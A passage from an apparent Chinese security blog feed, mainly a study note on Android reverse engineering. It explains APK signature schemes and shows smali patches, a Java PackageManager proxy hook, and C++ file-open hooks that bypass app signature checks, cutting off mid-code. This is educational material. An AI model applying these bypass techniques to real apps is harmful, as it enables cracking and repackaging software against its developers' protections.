&apos;C:\Users\PF\AppData\Local\Programs\oh-my-posh\themes\cloud-native-azure.omp.json&apos; | Invoke-Expression</span><br></pre></td></tr></table></figure><p>其中cloud-native-azure.omp.json是主题文件，主题有哪些可以通过下面命令查看</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Get-PoshThemes</span><br></pre></td></tr></table></figure><h1 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h1><p><a href="https://ohmyposh.dev/docs/installation/windows" target="_blank" rel="noopener">https://ohmyposh.dev/docs/installation/windows</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;商店搜Windows Terminal安装&lt;/p&gt;
&lt;p&gt;打开Windows Terminal，需要开代理，安装OhMyPosh&lt;/p&gt;
&lt;figure class=&quot;highlight plain&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-03" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-03/"/>
    
    
      <category term="终端" scheme="https://www.giantbranch.cn/tags/%E7%BB%88%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>重学安卓逆向：Hook学习</title>
    <link href="https://www.giantbranch.cn/2024/02/18/%E9%87%8D%E5%AD%A6%E5%AE%89%E5%8D%93%E9%80%86%E5%90%91%EF%BC%9AHook%E5%AD%A6%E4%B9%A0/"/>
    <id>https://www.giantbranch.cn/2024/02/18/重学安卓逆向：Hook学习/</id>
    <published>2024-02-17T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:11.566Z</updated>
    
    <content type="html"><![CDATA[<h1 id="什么是Xposed"><a href="#什么是Xposed" class="headerlink" title="什么是Xposed"></a>什么是Xposed</h1><p>Xposed Framework是一个在安卓系统上运行的框架，它允许用户在不修改系统文件的情况下对安卓设备进行深度定制和修改。Xposed Framework通过在系统启动时注入自定义代码来实现这一功能，从而修改应用程序和系统的行为。</p><p>Xposed Framework的主要特点包括：</p><ol><li><p>模块化：Xposed使用模块的方式来扩展功能，用户可以选择并安装喜欢的模块，每个模块都提供了特定的功能或修改。</p></li><li><p>Hooking：Xposed使用钩子（hook）的概念，通过在目标应用程序或系统的关键点插入自定义代码，来改变其行为。这使得开发者可以修改应用程序或系统的功能、界面、行为等。</p></li><li><p>兼容性：Xposed Framework具有很高的兼容性，可以在不同的安卓版本和设备上使用。它不需要修改系统文件，而是通过动态链接库注入的方式实现功能扩展，因此对系统的修改是临时性的，不会永久改变设备的状态。</p></li></ol><p>Xposed Framework为Android用户提供了强大的定制和修改能力，可以实现诸如主题更改、界面调整、权限管理、广告拦截、功能增强等操作。但需要注意，使用Xposed Framework需要一定的技术知识和谨慎操作，因为错误的使用或安装不受信任的模块可能导致系统不稳定或安全风险。</p><p>10:13秒</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;什么是Xposed&quot;&gt;&lt;a href=&quot;#什么是Xposed&quot; class=&quot;headerlink&quot; title=&quot;什么是Xposed&quot;&gt;&lt;/a&gt;什么是Xposed&lt;/h1&gt;&lt;p&gt;Xposed Framework是一个在安卓系统上运行的框架，它允许用户在不修改系统
      
    
    </summary>
    
      <category term="/小书匠/日记/2024-02" scheme="https://www.giantbranch.cn/categories/%E5%B0%8F%E4%B9%A6%E5%8C%A0-%E6%97%A5%E8%AE%B0-2024-02/"/>
    
    
      <category term="安卓安全" scheme="https://www.giantbranch.cn/tags/%E5%AE%89%E5%8D%93%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>重学安卓逆向：签名校验</title>
    <link href="https://www.giantbranch.cn/2024/02/11/%E9%87%8D%E5%AD%A6%E5%AE%89%E5%8D%93%E9%80%86%E5%90%91%EF%BC%9A%E7%AD%BE%E5%90%8D%E6%A0%A1%E9%AA%8C/"/>
    <id>https://www.giantbranch.cn/2024/02/11/重学安卓逆向：签名校验/</id>
    <published>2024-02-10T16:00:00.000Z</published>
    <updated>2024-12-01T01:48:12.006Z</updated>
    
    <content type="html"><![CDATA[<p><strong>注：本次学习来源于：52pojie的正己的《安卓逆向这档事》，部分知识来源于查资料或者chatgpt等ai</strong><br><a href="https://www.52pojie.cn/thread-1695141-1-1.html" target="_blank" rel="noopener">https://www.52pojie.cn/thread-1695141-1-1.html</a><br><a href="https://github.com/ZJ595/AndroidReverse" target="_blank" rel="noopener">https://github.com/ZJ595/AndroidReverse</a><br><a href="https://aliyundrive.com/s/TJoKMK6du6x" target="_blank" rel="noopener">https://aliyundrive.com/s/TJoKMK6du6x</a></p><h1 id="关于校验"><a href="#关于校验" class="headerlink" title="关于校验"></a>关于校验</h1><p>校验是一种验证或确认数据、信息或过程的准确性和完整性的过程。它通常用于确保数据在传输、存储或处理过程中没有发生错误或损坏。</p><p>校验可以采用多种方法，具体取决于需要校验的内容和目的。常见的校验方法包括校验和、哈希校验、冗余校验等。通过对数据进行校验，可以检测出任何可能的错误或篡改，并确保数据的正确性和可靠性。</p><p>在计算机领域，校验常用于网络通信、数据传输、文件下载、数据存储等场景中，以确保数据的完整性和准确性。此外，在软件开发中，校验也经常用于验证用户输入的数据是否符合要求，以防止错误或恶意输入对系统造成影响。</p><p><strong>安卓中常见的校验有</strong>:签名校验(最常见)、dexcrc校验、apk完整性校验、路径文件校验等</p><h1 id="什么是APK签名"><a href="#什么是APK签名" class="headerlink" title="什么是APK签名"></a>什么是APK签名</h1><p>APK签名是指对Android应用程序包（APK）进行数字签名，以验证应用程序的来源和完整性。当开发者准备发布应用程序时，他们会使用数字证书对APK文件进行签名。这个数字证书由开发者私钥生成，用于对应用程序进行加密签名，并附加到APK文件中。</p><p>APK签名有以下作用：</p><p>验证应用程序的来源：通过数字签名，用户可以验证应用程序是否来自特定的开发者或组织。<br>确保应用程序未被篡改：签名可以确保应用程序在发布后未经修改，从而保证应用程序的完整性。<br>提供数据完整性保护：签名可以确保应用程序在传输过程中未被篡改。<br>在用户安装应用程序时，Android操作系统会验证应用程序的签名并执行一系列安全检查，以确保应用程序的来源和完整性。如果应用程序的数字签名无效或与开发者声明的不匹配，系统将会发出警告或阻止应用程序的安装。这有助于保护用户免受恶意软件和篡改应用程序的影响。</p><p>Android 目前支持以下四种应用签名方案：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">v1 方案：基于 JAR 签名。</span><br><span class="line"> </span><br><span class="line">v2 方案：APK 签名方案 v2（在 Android 7.0 中引入）</span><br><span class="line"> </span><br><span class="line">v3 方案：APK 签名方案 v3（在 Android 9 中引入）</span><br><span class="line"> </span><br><span class="line">v4 方案：APK 签名方案 v4（在 Android 11 中引入）</span><br></pre></td></tr></table></figure><h2 id="v1-方案：基于-JAR-签名"><a href="#v1-方案：基于-JAR-签名" class="headerlink" title="v1 方案：基于 JAR 签名"></a>v1 方案：基于 JAR 签名</h2><p>V1 签名的机制主要就在 META-INF 目录下的三个文件，MANIFEST.MF，CERT.SF，CERT.RSA，他们都是 V1 签名的产物。</p><p>（1）MANIFEST.MF：这是摘要文件。程序遍历Apk包中的所有文件(entry)，对非文件夹非签名文件的文件，逐个用SHA1(安全哈希算法)生成摘要信息，再用Base64进行编码。如果你改变了apk包中的文件，那么在apk安装校验时，改变后的文件摘要信息与MANIFEST.MF的检验信息不同，于是程序就不能成功安装。</p><p>（2）CERT.SF：这是对摘要的签名文件。对前一步生成的MANIFEST.MF，使用SHA1-RSA算法，用开发者的私钥进行签名。在安装时只能使用公钥才能解密它。解密之后，将它与未加密的摘要信息（即，MANIFEST.MF文件）进行对比，如果相符，则表明内容没有被异常修改。</p><p>（3）CERT.RSA文：使用私钥计算SF文件的数字签名 + 包含公钥的证书。。</p><h1 id="签名校验"><a href="#签名校验" class="headerlink" title="签名校验"></a>签名校验</h1><p>如何判断是否有签名校验？<br>不做任何修改，直接签名安装，应用闪退则说明大概率有签名校验</p><p>一般来说，普通的签名校验会导致软件的闪退，黑屏，卡启动页等</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">kill/killProcess-----kill/KillProcess()可以杀死当前应用活动的进程，这一操作将会把所有该进程内的资源（包括线程全部清理掉）.当然，由于ActivityManager时刻监听着进程，一旦发现进程被非正常Kill，它将会试图去重启这个进程。这就是为什么，有时候当我们试图这样去结束掉应用时，发现它又自动重新启动的原因.</span><br><span class="line"></span><br><span class="line">system.exit-----杀死了整个进程，这时候活动所占的资源也会被释放。</span><br><span class="line"></span><br><span class="line">finish----------仅仅针对Activity，当调用finish()时，只是将活动推向后台，并没有立即释放内存，活动的资源并没有被清理</span><br></pre></td></tr></table></figure><p>普通获取签名校验代码：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">private boolean SignCheck() &#123;</span><br><span class="line">    String trueSignMD5 = &quot;d0add9987c7c84aeb7198c3ff26ca152&quot;;</span><br><span class="line">    String nowSignMD5 = &quot;&quot;;</span><br><span class="line">    try &#123;</span><br><span class="line">        // 得到签名的MD5</span><br><span class="line">        PackageInfo packageInfo = getPackageManager().getPackageInfo(getPackageName(),PackageManager.GET_SIGNATURES);</span><br><span class="line">        Signature[] signs = packageInfo.signatures;</span><br><span class="line">        String signBase64 = Base64Util.encodeToString(signs[0].toByteArray());</span><br><span class="line">        nowSignMD5 = MD5Utils.MD5(signBase64);</span><br><span class="line">    &#125; catch (PackageManager.NameNotFoundException e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">    return trueSignMD5.equals(nowSignMD5);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="闪退代码定位"><a href="#闪退代码定位" class="headerlink" title="闪退代码定位"></a>闪退代码定位</h1><h2 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h2><p>使用算法助手，拦截应用退出与闪退</p><p><img src="http://pic.giantbranch.cn/pic/1706536328398.png" alt><br>再查看日志</p><p><img src="http://pic.giantbranch.cn/pic/1706536378734.png" alt><br>mt管理器搜索方法名，再注释exit调用即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">.line 57</span><br><span class="line">    #invoke-static &#123;v2&#125;, Ljava/lang/System;-&gt;exit(I)V</span><br></pre></td></tr></table></figure><h2 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h2><p>算法助手，开启：读取应用签名监听</p><p>将判断签名的函数的判断逻辑改了</p><p>比如：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">if-nez v3, :cond_4f  改为 if-eqz</span><br></pre></td></tr></table></figure><h1 id="签名校验对抗方法"><a href="#签名校验对抗方法" class="headerlink" title="签名校验对抗方法"></a>签名校验对抗方法</h1><p>方法一:核心破解插件，不签名安装应用</p><p>方法二:一键过签名工具，例如MT、NP、ARMPro、CNFIX、Modex的去除签名校验功能</p><p>方法三:具体分析签名校验逻辑(手撕签名校验)</p><p>方法四:io重定向–VA&amp;SVC：ptrace+seccomp<br><a href="https://bbs.pediy.com/thread-273160.htm" target="_blank" rel="noopener">SVC的TraceHook沙箱的实现&amp;无痕Hook实现思路</a></p><h1 id="手动实现PM代理"><a href="#手动实现PM代理" class="headerlink" title="手动实现PM代理"></a>手动实现PM代理</h1><h2 id="什么是PMS"><a href="#什么是PMS" class="headerlink" title="什么是PMS"></a>什么是PMS</h2><p>在安卓中，PMS是指“包管理服务”（Package Manager Service）。PMS是安卓操作系统中的一个核心组件，负责管理应用程序的安装、卸载、更新等操作，以及管理应用程序的权限。</p><p>PMS具有以下主要功能：</p><ol><li><p><strong>应用程序管理</strong>：PMS负责跟踪和管理安卓设备上安装的所有应用程序。它维护一个应用程序的列表，并管理应用程序的安装、卸载和更新。</p></li><li><p><strong>权限管理</strong>：PMS负责应用程序的权限分配和管理。在安卓系统中，应用程序必须在安装时声明其所需的权限，PMS会验证这些权限并在运行时管理它们的分配。</p></li><li><p><strong>包信息管理</strong>：PMS维护了关于每个应用程序的详细信息，包括应用程序的名称、版本号、作者、大小等信息。</p></li><li><p><strong>应用程序的启动和停止</strong>：PMS负责启动、停止和管理运行在安卓设备上的应用程序。</p></li><li><p><strong>应用程序数据的管理</strong>：PMS也涉及应用程序数据的管理，包括数据的备份和还原，以及数据的清除。</p></li></ol><h2 id="实现方法以及原理解析"><a href="#实现方法以及原理解析" class="headerlink" title="实现方法以及原理解析"></a>实现方法以及原理解析</h2><p>思路源自：<a href="https://github.com/fourbrother/HookPmsSignature" target="_blank" rel="noopener">Android中Hook 应用签名方法</a><br>HOOK PMS代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.zj.hookpms;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> android.content.Context;</span><br><span class="line"><span class="keyword">import</span> android.content.pm.PackageManager;</span><br><span class="line"><span class="keyword">import</span> android.util.Log;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">ServiceManagerWraper</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">static</span> String ZJ = <span class="string">"ZJ595"</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">hookPMS</span><span class="params">(Context context, String signed, String appPkgName, <span class="keyword">int</span> hashCode)</span> </span>&#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">// 获取全局的ActivityThread对象</span></span><br><span class="line">            Class&lt;?&gt; activityThreadClass = Class.forName(<span class="string">"android.app.ActivityThread"</span>);</span><br><span class="line">            Method currentActivityThreadMethod =</span><br><span class="line">                    activityThreadClass.getDeclaredMethod(<span class="string">"currentActivityThread"</span>);</span><br><span class="line">            Object currentActivityThread = currentActivityThreadMethod.invoke(<span class="keyword">null</span>);</span><br><span class="line">            <span class="comment">// 获取ActivityThread里面原始的sPackageManager</span></span><br><span class="line">            Field sPackageManagerField = activityThreadClass.getDeclaredField(<span class="string">"sPackageManager"</span>);</span><br><span class="line">            sPackageManagerField.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">            Object sPackageManager = sPackageManagerField.get(currentActivityThread);</span><br><span class="line">            <span class="comment">// 准备好代理对象, 用来替换原始的对象</span></span><br><span class="line">            Class&lt;?&gt; iPackageManagerInterface = Class.forName(<span class="string">"android.content.pm.IPackageManager"</span>);</span><br><span class="line">            Object proxy = Proxy.newProxyInstance(</span><br><span class="line">                    iPackageManagerInterface.getClassLoader(),</span><br><span class="line">                    <span class="keyword">new</span> Class&lt;?&gt;[]&#123;iPackageManagerInterface&#125;,</span><br><span class="line">                    <span class="keyword">new</span> PmsHookBinderInvocationHandler(sPackageManager, signed, appPkgName, <span class="number">0</span>));</span><br><span class="line">            <span class="comment">// 1. 替换掉ActivityThread里面的 sPackageManager 字段</span></span><br><span class="line">            sPackageManagerField.set(currentActivityThread, proxy);</span><br><span class="line">            <span class="comment">// 2. 替换 ApplicationPackageManager里面的 mPM对象</span></span><br><span class="line">            PackageManager pm = context.getPackageManager();</span><br><span class="line">            Field mPmField = pm.getClass().getDeclaredField(<span class="string">"mPM"</span>);</span><br><span class="line">            mPmField.setAccessible(<span class="keyword">true</span>);</span><br><span class="line">            mPmField.set(pm, proxy);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            Log.d(ZJ, <span class="string">"hook pms error:"</span> + Log.getStackTraceString(e));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">hookPMS</span><span class="params">(Context context)</span> </span>&#123;</span><br><span class="line">        String Sign = <span class="string">"原包的签名信息"</span>;</span><br><span class="line">        hookPMS(context, Sign, <span class="string">"com.zj.hookpms"</span>, <span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>ActivityThread的静态变量sPackageManager<br>ApplicationPackageManager对象里面的mPM变量</p><h1 id="IO重定向"><a href="#IO重定向" class="headerlink" title="IO重定向"></a>IO重定向</h1><p>IO重定向可以干嘛？（实际就是hook了打开文件的函数）</p><p>1，可以让文件只读，不可写</p><p>2，禁止访问文件</p><p>3，路径替换</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br></pre></td><td class="code"><pre><span class="line">using namespace std;  </span><br><span class="line">string packname;  </span><br><span class="line">string origpath;  </span><br><span class="line">string fakepath;  </span><br><span class="line">  </span><br><span class="line">int (*orig_open)(const char *pathname, int flags, ...);  </span><br><span class="line">int (*orig_openat)(int,const char *pathname, int flags, ...);  </span><br><span class="line">FILE *(*orig_fopen)(const char *filename, const char *mode);  </span><br><span class="line">static long (*orig_syscall)(long number, ...);  </span><br><span class="line">int (*orig__NR_openat)(int,const char *pathname, int flags, ...);  </span><br><span class="line">  </span><br><span class="line">void* (*orig_dlopen_CI)(const char *filename, int flag);  </span><br><span class="line">void* (*orig_dlopen_CIV)(const char *filename, int flag, const void *extinfo);  </span><br><span class="line">void* (*orig_dlopen_CIVV)(const char *name, int flags, const void *extinfo, void *caller_addr);  </span><br><span class="line">  </span><br><span class="line">static inline bool needs_mode(int flags) &#123;  </span><br><span class="line">    return ((flags &amp; O_CREAT) == O_CREAT) || ((flags &amp; O_TMPFILE) == O_TMPFILE);  </span><br><span class="line">&#125;  </span><br><span class="line">bool startsWith(string str, string sub)&#123;  </span><br><span class="line">    return str.find(sub)==0;  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">bool endsWith(string s,string sub)&#123;  </span><br><span class="line">    return s.rfind(sub)==(s.length()-sub.length());  </span><br><span class="line">&#125;  </span><br><span class="line">bool isOrigAPK(string  path)&#123;  </span><br><span class="line">  </span><br><span class="line">    if(path==origpath)&#123;  </span><br><span class="line">        return true;  </span><br><span class="line">    &#125;  </span><br><span class="line">    return false;  </span><br><span class="line">&#125;  </span><br><span class="line">//该函数的功能是在打开一个文件时进行拦截，并在满足特定条件时将文件路径替换为另一个路径  </span><br><span class="line">  </span><br><span class="line">//fake_open 函数有三个参数：  </span><br><span class="line">//pathname：一个字符串，表示要打开的文件的路径。  </span><br><span class="line">//flags：一个整数，表示打开文件的方式，例如只读、只写、读写等。  </span><br><span class="line">//mode（可选参数）：一个整数，表示打开文件时应用的权限模式。  </span><br><span class="line">int fake_open(const char *pathname, int flags, ...) &#123;  </span><br><span class="line">    mode_t mode = 0;  </span><br><span class="line">    if (needs_mode(flags)) &#123;  </span><br><span class="line">        va_list args;  </span><br><span class="line">        va_start(args, flags);  </span><br><span class="line">        mode = static_cast&lt;mode_t&gt;(va_arg(args, int));  </span><br><span class="line">        va_end(args);  </span><br><span class="line">    &#125;  </span><br><span class="line">    //LOGI(&quot;open,  path: %s, flags: %d, mode: %d&quot;,pathname, flags ,mode);  </span><br><span class="line">    string cpp_path= pathname;  </span><br><span class="line">    if(isOrigAPK(cpp_path))&#123;  </span><br><span class="line">        LOGI(&quot;libc_open, redirect: %s, ---&gt;: %s&quot;,pathname, fakepath.data());  </span><br><span class="line">        return orig_open(&quot;/data/user/0/com.zj.wuaipojie/files/base.apk&quot;, flags, mode);  </span><br><span class="line">    &#125;  </span><br><span class="line">    return  orig_open(pathname, flags, mode);  </span><br><span class="line">  </span><br><span class="line">  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">//该函数的功能是在打开一个文件时进行拦截，并在满足特定条件时将文件路径替换为另一个路径  </span><br><span class="line">  </span><br><span class="line">//fake_openat 函数有四个参数：  </span><br><span class="line">//fd：一个整数，表示要打开的文件的文件描述符。  </span><br><span class="line">//pathname：一个字符串，表示要打开的文件的路径。  </span><br><span class="line">//flags：一个整数，表示打开文件的方式，例如只读、只写、读写等。  </span><br><span class="line">//mode（可选参数）：一个整数，表示打开文件时应用的权限模式。  </span><br><span class="line">//openat 函数的作用类似于 open 函数，但是它使用文件描述符来指定文件路径，而不是使用文件路径本身。这样，就可以在打开文件时使用相对路径，而不必提供完整的文件路径。  </span><br><span class="line">//例如，如果要打开相对于当前目录的文件，可以使用 openat 函数，而不是 open 函数，因为 open 函数只能使用绝对路径。  </span><br><span class="line">//  </span><br><span class="line">int fake_openat(int fd, const char *pathname, int flags, ...) &#123;  </span><br><span class="line">    mode_t mode = 0;  </span><br><span class="line">    if (needs_mode(flags)) &#123;  </span><br><span class="line">        va_list args;  </span><br><span class="line">        va_start(args, flags);  </span><br><span class="line">        mode = static_cast&lt;mode_t&gt;(va_arg(args, int));  </span><br><span class="line">        va_end(args);  </span><br><span class="line">    &#125;  </span><br><span class="line">    LOGI(&quot;openat, fd: %d, path: %s, flags: %d, mode: %d&quot;,fd ,pathname, flags ,mode);  </span><br><span class="line">    string cpp_path= pathname;  </span><br><span class="line">    if(isOrigAPK(cpp_path))&#123;  </span><br><span class="line">        LOGI(&quot;libc_openat, redirect: %s, ---&gt;: %s&quot;,pathname, fakepath.data());  </span><br><span class="line">        return  orig_openat(fd,fakepath.data(), flags, mode);  </span><br><span class="line">    &#125;  </span><br><span class="line">    return orig_openat(fd,pathname, flags, mode);  </span><br><span class="line">  </span><br><span class="line">&#125;  </span><br><span class="line">FILE *fake_fopen(const char *filename, const char *mode) &#123;  </span><br><span class="line">  </span><br><span class="line">    string cpp_path= filename;  </span><br><span class="line">    if(isOrigAPK(cpp_path))&#123;  </span><br><span class="line">        return  orig_fopen(fakepath.data(), mode);  </span><br><span class="line">    &#125;  </span><br><span class="line">    return orig_fopen(filename, mode);  </span><br><span class="line">&#125;  </span><br><span class="line">//该函数的功能是在执行系统调用时进行拦截，并在满足特定条件时修改系统调用的参数。  </span><br><span class="line">//syscall 函数是一个系统调用，是程序访问内核功能的方法之一。使用 syscall 函数可以调用大量的系统调用，它们用于实现操作系统的各种功能，例如打开文件、创建进程、分配内存等。  </span><br><span class="line">//  </span><br><span class="line">static long fake_syscall(long number, ...) &#123;  </span><br><span class="line">    void *arg[7];  </span><br><span class="line">    va_list list;  </span><br><span class="line">  </span><br><span class="line">    va_start(list, number);  </span><br><span class="line">    for (int i = 0; i &lt; 7; ++i) &#123;  </span><br><span class="line">        arg[i] = va_arg(list, void *);  </span><br><span class="line">    &#125;  </span><br><span class="line">    va_end(list);  </span><br><span class="line">    if (number == __NR_openat)&#123;  </span><br><span class="line">        const char *cpp_path = static_cast&lt;const char *&gt;(arg[1]);  </span><br><span class="line">        LOGI(&quot;syscall __NR_openat, fd: %d, path: %s, flags: %d, mode: %d&quot;,arg[0] ,arg[1], arg[2], arg[3]);  </span><br><span class="line">        if (isOrigAPK(cpp_path))&#123;  </span><br><span class="line">            LOGI(&quot;syscall __NR_openat, redirect: %s, ---&gt;: %s&quot;,arg[1], fakepath.data());  </span><br><span class="line">            return orig_syscall(number,arg[0], fakepath.data() ,arg[2],arg[3]);  </span><br><span class="line">        &#125;  </span><br><span class="line">    &#125;  </span><br><span class="line">    return orig_syscall(number, arg[0], arg[1], arg[2], arg[3], arg[4], arg[5], arg[6]);  </span><br><span class="line">  </span><br><span class="line">&#125;  </span><br><span class="line">  </span><br><span class="line">//函数的功能是获取当前应用的包名、APK 文件路径以及库文件路径，并将这些信息保存在全局变量中  </span><br><span class="line">//函数调用 GetObjectClass 和 GetMethodID 函数来获取 context 对象的类型以及 getPackageName 方法的 ID。然后，函数调用 CallObjectMethod 函数来调用 getPackageName 方法，获取当前应用的包名。最后，函数使用 GetStringUTFChars 函数将包名转换为 C 字符串，并将包名保存在 packname 全局变量中  </span><br><span class="line">//接着，函数使用 fakepath 全局变量保存了 /data/user/0/&lt;packname&gt;/files/base.apk 这样的路径，其中 &lt;packname&gt; 是当前应用的包名。  </span><br><span 